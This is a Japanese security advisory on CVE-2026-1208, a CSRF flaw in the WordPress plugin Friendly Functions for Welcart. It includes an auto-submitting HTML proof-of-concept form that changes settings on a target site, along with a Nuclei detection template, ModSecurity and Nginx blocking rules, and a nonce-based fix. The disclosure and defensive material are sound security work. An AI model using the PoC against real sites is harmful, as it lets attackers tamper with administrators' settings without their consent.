
キーワード: CVE-2026-1208、Friendly Functions for Welcart の脆弱性、CSRF、クロスサイトリクエストフォージェリ、WordPressセキュリティ、WordPressプラグインの脆弱性、CWE-352、Welcartセキュリティ、設定改ざん、WordPress CVE 2026
Friendly Functions for Welcart WordPressプラグインのCSRF脆弱性 (CVE-2026-1208) - 未認証の攻撃者が偽造リクエストを介してプラグイン設定を変更できるようにするセキュリティ上の欠陥。
Friendly Functions for Welcart プラグインに、クロスサイトリクエストフォージェリ (CSRF) の脆弱性が発見されました。この脆弱性により、未認証の攻撃者は、管理者に悪意のあるリンクをクリックさせることでプラグイン設定を更新できます。
発見者: Kai Aizen (SnailSploit)
公開日: 2026年1月23日
CVSSスコア: 4.3 (Medium)
CWE: CWE-352 - クロスサイトリクエストフォージェリ (CSRF)
プラグイン: Friendly Functions for Welcart
攻撃種別: 設定更新を目的としたクロスサイトリクエストフォージェリ
必要な権限: なし (未認証攻撃 + ソーシャルエンジニアリング)
WordPress用プラグインFriendly Functions for Welcartは、バージョン1.2.5までの全バージョンにおいて、クロスサイトリクエストフォージェリに対して脆弱です。これは、設定ページでnonce検証が欠落しているか、不正確であることが原因です。このため、未認証の攻撃者は、サイト管理者にリンクのクリックなどの操作を実行させることができれば、偽造リクエストを介してプラグイン設定を更新できます。
この脆弱性により、未認証の攻撃者は以下を行うことが可能になります:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
この脆弱性は、設定ページの実装に存在します:
脆弱性は以下の箇所で確認されました:
ffw_function_settings.php - 53行目ffw_function_settings.php - 58行目この攻撃にはソーシャルエンジニアリングが必要であり、認証済みの管理者がWordPressサイトにログインした状態で、悪意のあるページを訪問するか、細工されたリンクをクリックするように誘導します。
Target: WordPress Admin with Friendly Functions for Welcart installed
Method: Malicious HTML page with auto-submitting form
Trigger: Administrator clicks link or visits attacker-controlled page
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-1208 - CSRF PoC</title>
</head>
<body>
<h1>Loading...</h1>
<form id="csrf-form" action="https://TARGET_SITE/wp-admin/admin.php?page=ffw-settings" method="POST">
<input type="hidden" name="ffw_setting_option" value="malicious_value" />
<!-- Add additional setting fields as needed -->
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
⚠️ 警告: このPoCは、教育および許可を得たテスト目的のみで提供されています。
# Check if vulnerable version is installed
wp plugin list | grep -i "friendly-functions-for-welcart"
# Get specific version
wp plugin get friendly-functions-for-welcart --field=version
Nucleiテンプレート:
id: CVE-2026-1208
info:
name: Friendly Functions for Welcart - CSRF to Settings Update
author: SnailSploit
severity: medium
description: |
Friendly Functions for Welcart plugin for WordPress is vulnerable
to CSRF in versions <= 1.2.5 due to missing nonce validation.
reference:
- https://github.com/SnailSploit/CVE-2026-1208
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/friendly-functions-for-welcart/friendly-functions-for-welcart-125-cross-site-request-forgery-to-settings-update
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
cvss-score: 4.3
cve-id: CVE-2026-1208
cwe-id: CWE-352
tags: cve,cve2026,wordpress,wp-plugin,csrf,welcart
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/friendly-functions-for-welcart/readme.txt"
matchers-condition: and
matchers:
- type: word
words:
- "Friendly Functions for Welcart"
- type: regex
regex:
- "(?i)Stable tag:\\s*(1\\.([0-1]\\.[0-9]|2\\.[0-5]))"
- type: status
status:
- 200
extractors:
- type: regex
name: version
group: 1
regex:
- "(?i)Stable tag:\\s*([0-9.]+)"
ModSecurityルール:
# CVE-2026-1208 - Block CSRF attempts to FFW settings
SecRule REQUEST_URI "@contains /wp-admin/admin.php" \
"chain,id:2026001,phase:2,t:none,t:urlDecodeUni,\
log,deny,status:403,msg:'CVE-2026-1208 CSRF Attempt Blocked'"
SecRule ARGS:page "@streq ffw-settings" \
"chain"
SecRule &REQUEST_HEADERS:Referer "@eq 0"
# Alternative: Block if referer doesn't match site domain
SecRule REQUEST_URI "@contains /wp-admin/admin.php" \
"chain,id:2026002,phase:2,t:none,\
log,deny,status:403,msg:'CVE-2026-1208 Cross-Origin Request Blocked'"
SecRule ARGS:page "@streq ffw-settings" \
"chain"
SecRule REQUEST_HEADERS:Referer "!@contains yourdomain.com"
Nginxルール:
# CVE-2026-1208 - CSRF Protection for FFW Settings
location /wp-admin/admin.php {
# Check for ffw-settings page without proper referer
if ($arg_page = "ffw-settings") {
set $csrf_check "1";
}
if ($http_referer !~ "^https?://(www\.)?yourdomain\.com") {
set $csrf_check "${csrf_check}1";
}
if ($csrf_check = "11") {
return 403;
}
# Pass to PHP handler
try_files $uri =404;
fastcgi_pass php-fpm;
include fastcgi_params;
}
直ちに実行すべき対応:
すべての設定フォームに適切なCSRF対策が実装されていることを確認してください:
// Example of proper CSRF protection in WordPress
// In your form:
wp_nonce_field('ffw_settings_update', 'ffw_settings_nonce');
// In your form handler:
function process_settings_update() {
// Verify nonce
if (!isset($_POST['ffw_settings_nonce']) ||
!wp_verify_nonce($_POST['ffw_settings_nonce'], 'ffw_settings_update')) {
wp_die('Security check failed');
}
// Check capabilities
if (!current_user_can('manage_options')) {
wp_die('Unauthorized');
}
// Process settings update
// ...
}
研究者:
開示プロセス: Wordfenceバグ報奨金プログラムを通じて調整
この情報は、セキュリティ研究および防御目的のみで提供されています。悪意のある目的でこの脆弱性を悪用することは違法であり、非倫理的です。所有していないシステムをテストする前に、必ず適切な許可を取得してください。
この脆弱性に関する質問や追加情報については:
最終更新日: 2026年1月23日
このプロジェクトの完全なwriteup、方法論、および関連研究は以下にあります:
https://snailsploit.com/security-research/cves/cve-2026-1208/
Kai Aizen によって作成 — 独立系オフェンシブセキュリティ研究者。
snailsploit.com · 研究 · フレームワーク · GitHub · LinkedIn · ResearchGate · X/Twitter
同じ攻撃。異なる基盤。
| メトリクス | 値 |
|---|
| 攻撃ベクトル | ネットワーク (AV:N) |
| 攻撃複雑性 | 低 (AC:L) |
| 必要な権限 | なし (PR:N) |
| ユーザー操作 | 要 (UI:R) |
| スコープ | 変更なし (S:U) |
| 機密性 | なし (C:N) |
| 完全性 | 低 (I:L) |
| 可用性 | なし (A:N) |